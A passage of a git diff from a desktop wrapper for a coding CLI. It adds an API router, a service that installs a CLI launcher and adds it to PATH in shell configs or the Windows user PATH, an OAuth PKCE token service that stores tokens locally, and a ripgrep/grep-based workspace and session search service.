+    case 'sessions': {
+      // Route /api/sessions/:id/chat/* to conversations handler
+      const subResource = segments[3]
+      if (subResource === 'chat') {
+        return handleConversationsApi(req, url, segments)
+      }
+      return handleSessionsApi(req, url, segments)
+    }
+
+    case 'conversations':
+      return handleConversationsApi(req, url, segments)
+
+    case 'settings':
+      return handleSettingsApi(req, url, segments)
+
+    case 'models':
+    case 'effort':
+      return handleModelsApi(req, url, segments)
+
+    case 'permissions':
+      return handleSettingsApi(req, url, segments) // permissions under settings
+
+    case 'scheduled-tasks':
+      return handleScheduledTasksApi(req, url, segments)
+
+    case 'search':
+      return handleSearchApi(req, url, segments)
+
+    case 'agents':
+    case 'tasks':
+      return handleAgentsApi(req, url, segments)
+
+    case 'status':
+      return handleStatusApi(req, url, segments)
+
+    case 'teams':
+      return handleTeamsApi(req, url, segments)
+
+    case 'providers':
+      return handleProvidersApi(req, url, segments)
+
+    case 'haha-oauth':
+      return handleHahaOAuthApi(req, url, segments)
+
+    case 'heicode-auth':
+      return handleHeicodeAuthApi(req, url, segments)
+
+    case 'adapters':
+      return handleAdaptersApi(req, url, segments)
+
+    case 'skills':
+      return handleSkillsApi(req, url, segments)
+
+    case 'mcp':
+      return handleMcpApi(req, url, segments)
+
+    case 'plugins':
+      return handlePluginsApi(req, url, segments)
+
+    case 'computer-use':
+      return handleComputerUseApi(req, url, segments)
+
+    case 'filesystem':
+      return handleFilesystemRoute(url.pathname, url)
+
+    default:
+      return Response.json(
+        { error: 'Not Found', message: `Unknown API resource: ${resource}` },
+        { status: 404 }
+      )
+  }
+}
diff --git a/cc-haha/src/server/services/desktopCliLauncherService.ts b/cc-haha/src/server/services/desktopCliLauncherService.ts
new file mode 100644
index 0000000..8e1a9b9
--- /dev/null
+++ b/cc-haha/src/server/services/desktopCliLauncherService.ts
@@ -0,0 +1,476 @@
+import { createHash } from 'node:crypto'
+import { createReadStream } from 'node:fs'
+import {
+  chmod,
+  copyFile,
+  mkdir,
+  readFile,
+  rename,
+  stat,
+  unlink,
+  writeFile,
+} from 'node:fs/promises'
+import { homedir } from 'node:os'
+import { delimiter, dirname, join, resolve } from 'node:path'
+
+import { resolveClaudeCliLauncher } from '../../utils/desktopBundledCli.js'
+import { execFileNoThrow } from '../../utils/execFileNoThrow.js'
+import { getShellConfigPaths } from '../../utils/shellConfig.js'
+import { getUserBinDir } from '../../utils/xdg.js'
+
+const DESKTOP_CLI_NAME = 'claude-haha'
+const PATH_BLOCK_START = '# >>> Claude Code Haha PATH >>>'
+const PATH_BLOCK_END = '# <<< Claude Code Haha PATH <<<'
+const WINDOWS_PATH_TARGET = 'Windows User PATH'
+const WINDOWS_USER_BIN_EXPR = '%USERPROFILE%\\.local\\bin'
+
+export type DesktopCliLauncherStatus = {
+  supported: boolean
+  command: string
+  installed: boolean
+  launcherPath: string
+  binDir: string
+  pathConfigured: boolean
+  pathInCurrentShell: boolean
+  availableInNewTerminals: boolean
+  needsTerminalRestart: boolean
+  configTarget: string | null
+  lastError: string | null
+}
+
+let inFlightEnsure: Promise<DesktopCliLauncherStatus> | null = null
+
+export function getDesktopCliCommandName(
+  platform: NodeJS.Platform = process.platform,
+) {
+  return platform === 'win32' ? `${DESKTOP_CLI_NAME}.exe` : DESKTOP_CLI_NAME
+}
+
+export function resolveHomeDir(env: NodeJS.ProcessEnv = process.env) {
+  return env.HOME || env.USERPROFILE || homedir()
+}
+
+export function isPathEntryPresent(
+  pathValue: string | undefined,
+  targetDir: string,
+  platform: NodeJS.Platform = process.platform,
+  homeDir: string = resolveHomeDir(),
+) {
+  if (!pathValue) return false
+
+  if (platform === 'win32') {
+    const normalizedTarget = normalizeWindowsPathEntry(targetDir, homeDir)
+    return pathValue
+      .split(';')
+      .map((entry) => normalizeWindowsPathEntry(entry, homeDir))
+      .some((entry) => entry === normalizedTarget)
+  }
+
+  const normalizedTarget = resolve(targetDir)
+  return pathValue
+    .split(delimiter)
+    .map((entry) => entry.trim())
+    .filter(Boolean)
+    .some((entry) => {
+      try {
+        return resolve(entry) === normalizedTarget
+      } catch {
+        return false
+      }
+    })
+}
+
+export function upsertManagedPathBlock(
+  existingContent: string,
+  block: string,
+): string {
+  const escapedStart = PATH_BLOCK_START.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')
+  const escapedEnd = PATH_BLOCK_END.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')
+  const pattern = new RegExp(`${escapedStart}[\\s\\S]*?${escapedEnd}\\n?`, 'm')
+  const nextBlock = `${block.trimEnd()}\n`
+
+  if (pattern.test(existingContent)) {
+    return existingContent.replace(pattern, nextBlock)
+  }
+
+  const trimmed = existingContent.trimEnd()
+  if (!trimmed) {
+    return nextBlock
+  }
+
+  return `${trimmed}\n\n${nextBlock}`
+}
+
+export function buildManagedPathBlock(
+  shellType: 'zsh' | 'bash' | 'fish',
+  binDir: string,
+  homeDir: string = resolveHomeDir(),
+) {
+  const defaultBinDir = join(homeDir, '.local', 'bin')
+  const pathExpr = resolve(binDir) === resolve(defaultBinDir) ? '$HOME/.local/bin' : binDir
+
+  if (shellType === 'fish') {
+    return [
+      PATH_BLOCK_START,
+      `if not contains "${pathExpr}" $PATH`,
+      `  set -gx PATH "${pathExpr}" $PATH`,
+      'end',
+      PATH_BLOCK_END,
+    ].join('\n')
+  }
+
+  return [
+    PATH_BLOCK_START,
+    `export PATH="${pathExpr}:$PATH"`,
+    PATH_BLOCK_END,
+  ].join('\n')
+}
+
+export async function ensureDesktopCliLauncherInstalled(): Promise<DesktopCliLauncherStatus> {
+  if (inFlightEnsure) {
+    return inFlightEnsure
+  }
+
+  const promise = ensureDesktopCliLauncherInstalledImpl()
+  inFlightEnsure = promise
+
+  try {
+    return await promise
+  } finally {
+    if (inFlightEnsure === promise) {
+      inFlightEnsure = null
+    }
+  }
+}
+
+async function ensureDesktopCliLauncherInstalledImpl(): Promise<DesktopCliLauncherStatus> {
+  const homeDir = resolveHomeDir()
+  const binDir = getUserBinDir({ homedir: homeDir })
+  const launcherPath = join(binDir, getDesktopCliCommandName())
+  const sourcePath = resolveBundledSidecarSourcePath()
+
+  if (!sourcePath) {
+    return buildStatus({
+      supported: false,
+      launcherPath,
+      binDir,
+      command: DESKTOP_CLI_NAME,
+      installed: false,
+      pathConfigured: false,
+      pathInCurrentShell: isPathEntryPresent(process.env.PATH, binDir),
+      configTarget: null,
+      lastError: null,
+    })
+  }
+
+  let lastError: string | null = null
+
+  try {
+    await syncLauncherBinary(sourcePath, launcherPath)
+  } catch (error) {
+    lastError = error instanceof Error ? error.message : String(error)
+  }
+
+  const installed = await isUsableLauncher(launcherPath)
+  const currentPathReady = isPathEntryPresent(process.env.PATH, binDir)
+
+  let pathConfigured = currentPathReady
+  let configTarget: string | null = null
+
+  try {
+    if (process.platform === 'win32') {
+      const windowsResult = await ensureWindowsUserPathConfigured(binDir, homeDir)
+      pathConfigured = currentPathReady || windowsResult.pathConfigured
+      configTarget = windowsResult.configTarget
+      lastError ||= windowsResult.lastError
+    } else {
+      const unixResult = await ensureUnixShellPathConfigured(binDir, homeDir)
+      pathConfigured = currentPathReady || unixResult.pathConfigured
+      configTarget = unixResult.configTarget
+      lastError ||= unixResult.lastError
+    }
+  } catch (error) {
+    lastError ||= error instanceof Error ? error.message : String(error)
+  }
+
+  return buildStatus({
+    supported: true,
+    command: DESKTOP_CLI_NAME,
+    launcherPath,
+    binDir,
+    installed,
+    pathConfigured,
+    pathInCurrentShell: currentPathReady,
+    configTarget,
+    lastError,
+  })
+}
+
+function buildStatus(
+  input: Omit<
+    DesktopCliLauncherStatus,
+    'availableInNewTerminals' | 'needsTerminalRestart'
+  >,
+): DesktopCliLauncherStatus {
+  const availableInNewTerminals =
+    input.installed && (input.pathInCurrentShell || input.pathConfigured)
+
+  return {
+    ...input,
+    availableInNewTerminals,
+    needsTerminalRestart:
+      availableInNewTerminals && !input.pathInCurrentShell,
+  }
+}
+
+function resolveBundledSidecarSourcePath(): string | null {
+  const launcher = resolveClaudeCliLauncher({
+    cliPath: process.env.CLAUDE_CLI_PATH,
+    execPath: process.execPath,
+  })
+
+  if (!launcher || launcher.kind !== 'sidecar') {
+    return null
+  }
+
+  return launcher.command
+}
+
+async function syncLauncherBinary(sourcePath: string, targetPath: string) {
+  await mkdir(dirname(targetPath), { recursive: true })
+
+  if (await filesMatch(sourcePath, targetPath)) {
+    return
+  }
+
+  const tempPath = `${targetPath}.tmp.${process.pid}.${Date.now()}`
+  await copyFile(sourcePath, tempPath)
+
+  if (process.platform !== 'win32') {
+    await chmod(tempPath, 0o755)
+  }
+
+  try {
+    if (process.platform === 'win32') {
+      await replaceWindowsBinary(tempPath, targetPath)
+    } else {
+      await rename(tempPath, targetPath)
+      await chmod(targetPath, 0o755)
+    }
+  } finally {
+    await unlink(tempPath).catch(() => undefined)
+  }
+}
+
+async function replaceWindowsBinary(tempPath: string, targetPath: string) {
+  try {
+    await unlink(targetPath)
+  } catch {
+    // noop
+  }
+
+  try {
+    await rename(tempPath, targetPath)
+    return
+  } catch {
+    // The existing executable may still be in use. Rename it away and retry.
+  }
+
+  const backupPath = `${targetPath}.old.${Date.now()}`
+  try {
+    await rename(targetPath, backupPath)
+  } catch {
+    // noop
+  }
+
+  await rename(tempPath, targetPath)
+  await unlink(backupPath).catch(() => undefined)
+}
+
+async function filesMatch(sourcePath: string, targetPath: string) {
+  try {
+    const [sourceStats, targetStats] = await Promise.all([
+      stat(sourcePath),
+      stat(targetPath),
+    ])
+
+    if (!sourceStats.isFile() || !targetStats.isFile()) {
+      return false
+    }
+
+    if (sourceStats.size !== targetStats.size) {
+      return false
+    }
+
+    const [sourceHash, targetHash] = await Promise.all([
+      hashFile(sourcePath),
+      hashFile(targetPath),
+    ])
+    return sourceHash === targetHash
+  } catch {
+    return false
+  }
+}
+
+async function hashFile(filePath: string) {
+  return await new Promise<string>((resolvePromise, reject) => {
+    const hash = createHash('sha256')
+    const stream = createReadStream(filePath)
+    stream.on('data', (chunk) => hash.update(chunk))
+    stream.on('error', reject)
+    stream.on('end', () => resolvePromise(hash.digest('hex')))
+  })
+}
+
+async function isUsableLauncher(filePath: string) {
+  try {
+    const fileStats = await stat(filePath)
+    return fileStats.isFile() && fileStats.size > 0
+  } catch {
+    return false
+  }
+}
+
+async function ensureUnixShellPathConfigured(
+  binDir: string,
+  homeDir: string,
+): Promise<{
+  pathConfigured: boolean
+  configTarget: string | null
+  lastError: string | null
+}> {
+  const shellType = resolveShellType()
+  const configPaths = getShellConfigPaths({ env: process.env, homedir: homeDir })
+  const configTarget =
+    configPaths[shellType] ??
+    (process.platform === 'darwin' ? configPaths.zsh : configPaths.bash)
+
+  if (!configTarget) {
+    return {
+      pathConfigured: false,
+      configTarget: null,
+      lastError: 'Could not resolve a shell config file for PATH setup',
+    }
+  }
+
+  const block = buildManagedPathBlock(shellType, binDir, homeDir)
+  const existingContent = await readFile(configTarget, 'utf8').catch(() => '')
+  const nextContent = upsertManagedPathBlock(existingContent, block)
+
+  if (nextContent !== existingContent) {
+    await mkdir(dirname(configTarget), { recursive: true })
+    await writeFile(configTarget, nextContent, 'utf8')
+  }
+
+  return {
+    pathConfigured: true,
+    configTarget,
+    lastError: null,
+  }
+}
+
+async function ensureWindowsUserPathConfigured(
+  binDir: string,
+  homeDir: string,
+): Promise<{
+  pathConfigured: boolean
+  configTarget: string
+  lastError: string | null
+}> {
+  const userPath = await readWindowsUserPath()
+  if (isPathEntryPresent(userPath, binDir, 'win32', homeDir)) {
+    return {
+      pathConfigured: true,
+      configTarget: WINDOWS_PATH_TARGET,
+      lastError: null,
+    }
+  }
+
+  const script = [
+    `$bin = [Environment]::ExpandEnvironmentVariables('${WINDOWS_USER_BIN_EXPR}')`,
+    `$userPath = [Environment]::GetEnvironmentVariable('Path', 'User')`,
+    `$segments = @()`,
+    `if ($userPath) { $segments = $userPath.Split(';') | Where-Object { $_ -and $_.Trim() -ne '' } }`,
+    `$normalized = $segments | ForEach-Object { [Environment]::ExpandEnvironmentVariables($_).TrimEnd('\\').ToLowerInvariant() }`,
+    `if (-not ($normalized -contains $bin.TrimEnd('\\').ToLowerInvariant())) {`,
+    `  $newPath = if ([string]::IsNullOrWhiteSpace($userPath)) { '${WINDOWS_USER_BIN_EXPR}' } else { '${WINDOWS_USER_BIN_EXPR};' + $userPath }`,
+    `  [Environment]::SetEnvironmentVariable('Path', $newPath, 'User')`,
+    `  $signature = @'`,
+    `using System;`,
+    `using System.Runtime.InteropServices;`,
+    `public static class NativeMethods {`,
+    `  [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]`,
+    `  public static extern IntPtr SendMessageTimeout(IntPtr hWnd, uint Msg, IntPtr wParam, string lParam, uint fuFlags, uint uTimeout, out IntPtr lpdwResult);`,
+    `}`,
+    `'@`,
+    `  Add-Type -TypeDefinition $signature -ErrorAction SilentlyContinue | Out-Null`,
+    `  $HWND_BROADCAST = [IntPtr]0xffff`,
+    `  $WM_SETTINGCHANGE = 0x1A`,
+    `  $SMTO_ABORTIFHUNG = 0x2`,
+    `  $result = [IntPtr]::Zero`,
+    `  [void][NativeMethods]::SendMessageTimeout($HWND_BROADCAST, $WM_SETTINGCHANGE, [IntPtr]::Zero, 'Environment', $SMTO_ABORTIFHUNG, 5000, [ref]$result)`,
+    `}`,
+  ].join('\n')
+
+  const result = await execFileNoThrow(
+    'powershell.exe',
+    ['-NoProfile', '-NonInteractive', '-Command', script],
+    { useCwd: false },
+  )
+
+  if (result.code !== 0) {
+    return {
+      pathConfigured: false,
+      configTarget: WINDOWS_PATH_TARGET,
+      lastError:
+        result.stderr.trim() ||
+        result.stdout.trim() ||
+        result.error ||
+        'Failed to update Windows user PATH',
+    }
+  }
+
+  return {
+    pathConfigured: true,
+    configTarget: WINDOWS_PATH_TARGET,
+    lastError: null,
+  }
+}
+
+function resolveShellType(): 'zsh' | 'bash' | 'fish' {
+  const shellPath = process.env.SHELL || ''
+  if (shellPath.includes('fish')) return 'fish'
+  if (shellPath.includes('bash')) return 'bash'
+  if (shellPath.includes('zsh')) return 'zsh'
+  return process.platform === 'darwin' ? 'zsh' : 'bash'
+}
+
+async function readWindowsUserPath() {
+  const result = await execFileNoThrow(
+    'powershell.exe',
+    [
+      '-NoProfile',
+      '-NonInteractive',
+      '-Command',
+      `[Environment]::GetEnvironmentVariable('Path', 'User')`,
+    ],
+    { useCwd: false },
+  )
+
+  if (result.code !== 0) {
+    return ''
+  }
+
+  return result.stdout.trim()
+}
+
+function normalizeWindowsPathEntry(entry: string, homeDir: string) {
+  return entry
+    .trim()
+    .replace(/^"+|"+$/g, '')
+    .replace(/%USERPROFILE%/gi, homeDir)
+    .replace(/%HOMEDRIVE%%HOMEPATH%/gi, homeDir)
+    .replace(/\//g, '\\')
+    .replace(/\\+$/, '')
+    .toLowerCase()
+}
diff --git a/cc-haha/src/server/services/hahaOAuthService.ts b/cc-haha/src/server/services/hahaOAuthService.ts
new file mode 100644
index 0000000..4cbd4f3
--- /dev/null
+++ b/cc-haha/src/server/services/hahaOAuthService.ts
@@ -0,0 +1,256 @@
+/**
+ * HahaOAuthService — 桌面端自管 Claude OAuth token
+ *
+ * 为什么存在: macOS Keychain ACL 在 .app 被打上 quarantine 属性后
+ * 对无 UI sidecar 静默拒绝,导致 CLI 读不到 OAuth token → 403。
+ * 这个 service 把 token 存到 haha 自己的目录,并通过 env 注入给 CLI。
+ *
+ * 复用 src/services/oauth/{crypto,client}.ts 里的 PKCE + token exchange 逻辑,
+ * 不复制粘贴 —— 保证跟 CLI 走同一套协议实现。
+ */
+
+import * as fs from 'fs/promises'
+import * as os from 'os'
+import * as path from 'path'
+import {
+  generateCodeVerifier,
+  generateCodeChallenge,
+  generateState,
+} from '../../services/oauth/crypto.js'
+import {
+  buildAuthUrl,
+  fetchProfileInfo,
+  refreshOAuthToken,
+  isOAuthTokenExpired,
+  parseScopes,
+} from '../../services/oauth/client.js'
+import type {
+  OAuthTokens,
+  OAuthTokenExchangeResponse,
+  SubscriptionType,
+} from '../../services/oauth/types.js'
+import { getOauthConfig } from '../../constants/oauth.js'
+
+export type StoredOAuthTokens = {
+  accessToken: string
+  refreshToken: string | null
+  expiresAt: number | null
+  scopes: string[]
+  subscriptionType: SubscriptionType | null
+}
+
+export type OAuthSession = {
+  state: string
+  codeVerifier: string
+  authorizeUrl: string
+  serverPort: number
+  createdAt: number
+}
+
+type RefreshFn = (refreshToken: string, opts?: { scopes?: string[] }) => Promise<OAuthTokens>
+type FetchProfileFn = (
+  accessToken: string,
+) => Promise<{ subscriptionType: SubscriptionType | null }>
+
+const SESSION_TTL_MS = 5 * 60 * 1000
+const OAUTH_CALLBACK_PATH = '/callback'
+
+export class HahaOAuthService {
+  private sessions = new Map<string, OAuthSession>()
+  private refreshFn: RefreshFn = refreshOAuthToken
+  private fetchProfileFn: FetchProfileFn = fetchProfileInfo
+
+  setRefreshFn(fn: RefreshFn): void {
+    this.refreshFn = fn
+  }
+
+  setFetchProfileFn(fn: FetchProfileFn): void {
+    this.fetchProfileFn = fn
+  }
+
+  private getOAuthFilePath(): string {
+    const configDir =
+      process.env.CLAUDE_CONFIG_DIR || path.join(os.homedir(), '.claude')
+    return path.join(configDir, 'cc-haha', 'oauth.json')
+  }
+
+  async loadTokens(): Promise<StoredOAuthTokens | null> {
+    try {
+      const raw = await fs.readFile(this.getOAuthFilePath(), 'utf-8')
+      return JSON.parse(raw) as StoredOAuthTokens
+    } catch (err) {
+      if ((err as NodeJS.ErrnoException).code === 'ENOENT') return null
+      throw err
+    }
+  }
+
+  async saveTokens(tokens: StoredOAuthTokens): Promise<void> {
+    const filePath = this.getOAuthFilePath()
+    await fs.mkdir(path.dirname(filePath), { recursive: true })
+    // 写临时文件再 rename,防止写到一半被其他读者读到残缺 JSON。
+    // 单进程 desktop 下 pid 后缀足够隔离。
+    const tmp = `${filePath}.tmp.${process.pid}`
+    await fs.writeFile(tmp, JSON.stringify(tokens, null, 2), { mode: 0o600 })
+    await fs.rename(tmp, filePath)
+  }
+
+  async deleteTokens(): Promise<void> {
+    try {
+      await fs.unlink(this.getOAuthFilePath())
+    } catch (err) {
+      if ((err as NodeJS.ErrnoException).code !== 'ENOENT') throw err
+    }
+  }
+
+  startSession({ serverPort }: { serverPort: number }): OAuthSession {
+    this.pruneExpiredSessions()
+
+    const codeVerifier = generateCodeVerifier()
+    const codeChallenge = generateCodeChallenge(codeVerifier)
+    const state = generateState()
+
+    const authorizeUrl = buildAuthUrl({
+      codeChallenge,
+      state,
+      port: serverPort,
+      isManual: false,
+      loginWithClaudeAi: true,
+    })
+
+    const session: OAuthSession = {
+      state,
+      codeVerifier,
+      authorizeUrl,
+      serverPort,
+      createdAt: Date.now(),
+    }
+    this.sessions.set(state, session)
+    return session
+  }
+
+  getSession(state: string): OAuthSession | null {
+    const s = this.sessions.get(state)
+    if (!s) return null
+    if (Date.now() - s.createdAt > SESSION_TTL_MS) {
+      this.sessions.delete(state)
+      return null
+    }
+    return s
+  }
+
+  consumeSession(state: string): OAuthSession | null {
+    const s = this.getSession(state)
+    if (s) this.sessions.delete(state)
+    return s
+  }
+
+  private pruneExpiredSessions(): void {
+    const now = Date.now()
+    for (const [state, s] of this.sessions.entries()) {
+      if (now - s.createdAt > SESSION_TTL_MS) this.sessions.delete(state)
+    }
+  }
+
+  async completeSession(
+    authorizationCode: string,
+    state: string,
+  ): Promise<StoredOAuthTokens> {
+    const session = this.consumeSession(state)
+    if (!session) {
+      throw new Error('OAuth session not found or expired')
+    }
+
+    const response = await this.exchangeWithCustomCallback(
+      authorizationCode,
+      state,
+      session.codeVerifier,
+      session.serverPort,
+    )
+    const profile = await this.fetchProfileFn(response.access_token)
+
+    const tokens: StoredOAuthTokens = {
+      accessToken: response.access_token,
+      refreshToken: response.refresh_token ?? null,
+      expiresAt: Date.now() + response.expires_in * 1000,
+      scopes: parseScopes(response.scope),
+      subscriptionType: profile.subscriptionType,
+    }
+    await this.saveTokens(tokens)
+    return tokens
+  }
+
+  private async exchangeWithCustomCallback(
+    code: string,
+    state: string,
+    verifier: string,
+    port: number,
+  ): Promise<OAuthTokenExchangeResponse> {
+    const requestBody = {
+      grant_type: 'authorization_code',
+      code,
+      redirect_uri: `http://localhost:${port}${OAUTH_CALLBACK_PATH}`,
+      client_id: getOauthConfig().CLIENT_ID,
+      code_verifier: verifier,
+      state,
+    }
+
+    const controller = new AbortController()
+    const timeoutId = setTimeout(() => controller.abort(), 15_000)
+    let res: Response
+    try {
+      res = await fetch(getOauthConfig().TOKEN_URL, {
+        method: 'POST',
+        headers: { 'Content-Type': 'application/json' },
+        body: JSON.stringify(requestBody),
+        signal: controller.signal,
+      })
+    } finally {
+      clearTimeout(timeoutId)
+    }
+    if (!res.ok) {
+      throw new Error(
+        `Token exchange failed (${res.status}): ${await res.text()}`,
+      )
+    }
+    return (await res.json()) as OAuthTokenExchangeResponse
+  }
+
+  async ensureFreshTokens(): Promise<StoredOAuthTokens | null> {
+    const tokens = await this.loadTokens()
+    if (!tokens) return null
+
+    if (tokens.expiresAt === null) return tokens
+
+    if (!isOAuthTokenExpired(tokens.expiresAt)) return tokens
+
+    if (!tokens.refreshToken) return null
+
+    try {
+      const refreshed = await this.refreshFn(tokens.refreshToken, {
+        scopes: tokens.scopes,
+      })
+      const updated: StoredOAuthTokens = {
+        accessToken: refreshed.accessToken,
+        refreshToken: refreshed.refreshToken ?? tokens.refreshToken,
+        expiresAt: refreshed.expiresAt,
+        scopes: refreshed.scopes,
+        subscriptionType: refreshed.subscriptionType ?? tokens.subscriptionType,
+      }
+      await this.saveTokens(updated)
+      return updated
+    } catch (err) {
+      console.error(
+        '[HahaOAuthService] token refresh failed:',
+        err instanceof Error ? err.message : err,
+      )
+      return null
+    }
+  }
+
+  async ensureFreshAccessToken(): Promise<string | null> {
+    const tokens = await this.ensureFreshTokens()
+    return tokens?.accessToken ?? null
+  }
+}
+
+export const hahaOAuthService = new HahaOAuthService()
diff --git a/cc-haha/src/server/services/searchService.ts b/cc-haha/src/server/services/searchService.ts
new file mode 100644
index 0000000..a3edad2
--- /dev/null
+++ b/cc-haha/src/server/services/searchService.ts
@@ -0,0 +1,348 @@
+/**
+ * SearchService — 工作区文件搜索 & 会话历史搜索
+ *
+ * 优先使用 ripgrep (rg)，不可用时降级到 grep。
+ */
+
+import { spawn } from 'child_process'
+import * as fs from 'fs/promises'
+import * as path from 'path'
+import * as os from 'os'
+import { ApiError } from '../middleware/errorHandler.js'
+
+export type SearchResult = {
+  file: string
+  line: number
+  text: string
+  context?: string[]
+}
+
+export type SessionSearchResult = {
+  sessionId: string
+  title: string
+  matchCount: number
+  matches: Array<{ line: number; text: string }>
+}
+
+export class SearchService {
+  // ---------------------------------------------------------------------------
+  // 工作区搜索
+  // ---------------------------------------------------------------------------
+
+  /** 使用 ripgrep 搜索工作目录 */
+  async searchWorkspace(
+    query: string,
+    options?: {
+      cwd?: string
+      maxResults?: number
+      glob?: string
+      caseSensitive?: boolean
+    },
+  ): Promise<SearchResult[]> {
+    if (!query) {
+      throw ApiError.badRequest('Search query is required')
+    }
+
+    const cwd = options?.cwd || process.cwd()
+    const maxResults = options?.maxResults || 200
+
+    // 尝试 rg，降级到 grep
+    const hasRg = await this.commandExists('rg')
+    if (hasRg) {
+      try {
+        return await this.searchWithRipgrep(query, cwd, maxResults, options)
+      } catch {
+        // rg 执行失败，降级到 grep
+      }
+    }
+
+    return this.searchWithGrep(query, cwd, maxResults, options)
+  }
+
+  // ---------------------------------------------------------------------------
+  // 会话历史搜索
+  // ---------------------------------------------------------------------------
+
+  /** 搜索会话历史文件 */
+  async searchSessions(query: string): Promise<SessionSearchResult[]> {
+    if (!query) {
+      throw ApiError.badRequest('Search query is required')
+    }
+
+    const configDir =
+      process.env.CLAUDE_CONFIG_DIR || path.join(os.homedir(), '.claude')
+    const projectsDir = path.join(configDir, 'projects')
+
+    const results: SessionSearchResult[] = []
+
+    try {
+      await fs.access(projectsDir)
+    } catch {
+      // 目录不存在，返回空
+      return results
+    }
+
+    // 遍历 projects/ 下的 JSONL 会话文件
+    const entries = await this.walkJsonlFiles(projectsDir)
+    const lowerQuery = query.toLowerCase()
+
+    for (const filePath of entries) {
+      try {
+        const raw = await fs.readFile(filePath, 'utf-8')
+        const lines = raw.split('\n').filter(Boolean)
+
+        const matches: Array<{ line: number; text: string }> = []
+        let title = path.basename(filePath, '.jsonl')
+
+        for (let i = 0; i < lines.length; i++) {
+          const line = lines[i]
+          if (line.toLowerCase().includes(lowerQuery)) {
+            // 尝试提取可读文本
+            try {
+              const obj = JSON.parse(line) as Record<string, unknown>
+              const text =
+                typeof obj.message === 'string'
+                  ? obj.message
+                  : typeof obj.content === 'string'
+                    ? obj.content
+                    : line.slice(0, 200)
+
+              // 提取 title
+              if (i === 0 && typeof obj.title === 'string') {
+                title = obj.title
+              }
+
+              matches.push({ line: i + 1, text: text.slice(0, 300) })
+            } catch {
+              matches.push({ line: i + 1, text: line.slice(0, 200) })
+            }
+          }
+        }
+
+        if (matches.length > 0) {
+          const sessionId = path.basename(filePath, '.jsonl')
+          results.push({
+            sessionId,
+            title,
+            matchCount: matches.length,
+            matches: matches.slice(0, 20), // 每个会话最多 20 条匹配
+          })
+        }
+      } catch {
+        // 跳过无法读取的文件
+      }
+    }
+
+    return results
+  }
+
+  // ---------------------------------------------------------------------------
+  // ripgrep 搜索
+  // ---------------------------------------------------------------------------
+
+  private async searchWithRipgrep(
+    query: string,
+    cwd: string,
+    maxResults: number,
+    options?: {
+      glob?: string
+      caseSensitive?: boolean
+    },
+  ): Promise<SearchResult[]> {
+    const args = ['--json', '--max-count', String(maxResults)]
+
+    if (options?.caseSensitive === false) {
+      args.push('--ignore-case')
+    }
+
+    // 添加上下文行
+    args.push('-C', '4')
+
+    if (options?.glob) {
+      args.push('--glob', options.glob)
+    }
+
+    args.push('--', query, cwd)
+
+    const output = await this.runCommand('rg', args)
+    return this.parseRipgrepJson(output, maxResults)
+  }
+
+  /** 解析 ripgrep JSON 输出 */
+  private parseRipgrepJson(
+    output: string,
+    maxResults: number,
+  ): SearchResult[] {
+    const results: SearchResult[] = []
+    const lines = output.split('\n').filter(Boolean)
+
+    // 收集上下文：key = `${file}:${matchLine}`
+    const contextMap = new Map<
+      string,
+      { file: string; line: number; text: string; context: string[] }
+    >()
+
+    for (const line of lines) {
+      try {
+        const obj = JSON.parse(line) as Record<string, unknown>
+        if (obj.type === 'match') {
+          const data = obj.data as {
+            path?: { text?: string }
+            line_number?: number
+            lines?: { text?: string }
+            submatches?: unknown[]
+          }
+
+          const file = data.path?.text || ''
+          const lineNum = data.line_number || 0
+          const text = (data.lines?.text || '').replace(/\n$/, '')
+          const key = `${file}:${lineNum}`
+
+          contextMap.set(key, { file, line: lineNum, text, context: [] })
+        } else if (obj.type === 'context') {
+          // 上下文行归属到最近的 match
+          const data = obj.data as {
+            path?: { text?: string }
+            line_number?: number
+            lines?: { text?: string }
+          }
+          const text = (data.lines?.text || '').replace(/\n$/, '')
+
+          // 附加到最后一个相同文件的 match
+          const file = data.path?.text || ''
+          for (const [key, entry] of contextMap) {
+            if (key.startsWith(file + ':')) {
+              entry.context.push(text)
+            }
+          }
+        }
+      } catch {
+        // 跳过无法解析的行
+      }
+    }
+
+    for (const entry of contextMap.values()) {
+      if (results.length >= maxResults) break
+      results.push({
+        file: entry.file,
+        line: entry.line,
+        text: entry.text,
+        context: entry.context.length > 0 ? entry.context : undefined,
+      })
+    }
+
+    return results
+  }
+
+  // ---------------------------------------------------------------------------
+  // grep 降级
+  // ---------------------------------------------------------------------------
+
+  private async searchWithGrep(
+    query: string,
+    cwd: string,
+    maxResults: number,
+    options?: {
+      glob?: string
+      caseSensitive?: boolean
+    },
+  ): Promise<SearchResult[]> {
+    const args = ['-rn', '--max-count', String(maxResults)]
+
+    if (options?.caseSensitive === false) {
+      args.push('-i')
+    }
+
+    if (options?.glob) {
+      args.push('--include', options.glob)
+    }
+
+    args.push('--', query, cwd)
+
+    const output = await this.runCommand('grep', args)
+    return this.parseGrepOutput(output, maxResults)
+  }
+
+  /** 解析 grep 输出 (file:line:text) */
+  private parseGrepOutput(output: string, maxResults: number): SearchResult[] {
+    const results: SearchResult[] = []
+    const lines = output.split('\n').filter(Boolean)
+
+    for (const line of lines) {
+      if (results.length >= maxResults) break
+
+      // grep -n 输出格式: file:line:text
+      const match = line.match(/^(.+?):(\d+):(.*)$/)
+      if (match) {
+        results.push({
+          file: match[1],
+          line: parseInt(match[2], 10),
+          text: match[3],
+        })
+      }
+    }
+
+    return results
+  }
+
+  // ---------------------------------------------------------------------------
+  // 工具方法
+  // ---------------------------------------------------------------------------
+
+  /** 运行外部命令，返回 stdout */
+  private runCommand(cmd: string, args: string[]): Promise<string> {
+    return new Promise((resolve, reject) => {
+      const proc = spawn(cmd, args, { stdio: ['ignore', 'pipe', 'pipe'] })
+      const chunks: Buffer[] = []
+
+      proc.stdout.on('data', (chunk: Buffer) => chunks.push(chunk))
+
+      proc.on('close', (code) => {
+        const output = Buffer.concat(chunks).toString('utf-8')
+        // rg/grep 返回 1 表示无匹配，不视为错误
+        if (code === 0 || code === 1) {
+          resolve(output)
+        } else {
+          reject(
+            new Error(`Command "${cmd}" exited with code ${code}: ${output}`),
+          )
+        }
+      })
+
+      proc.on('error', (err) => {
+        reject(err)
+      })
+    })
+  }
+
+  /** 检测命令是否存在 */
+  private commandExists(cmd: string): Promise<boolean> {
+    return new Promise((resolve) => {
+      const proc = spawn('which', [cmd], { stdio: 'ignore' })
+      proc.on('close', (code) => resolve(code === 0))
+      proc.on('error', () => resolve(false))
+    })
+  }
+
+  /** 递归查找 .jsonl 文件 */
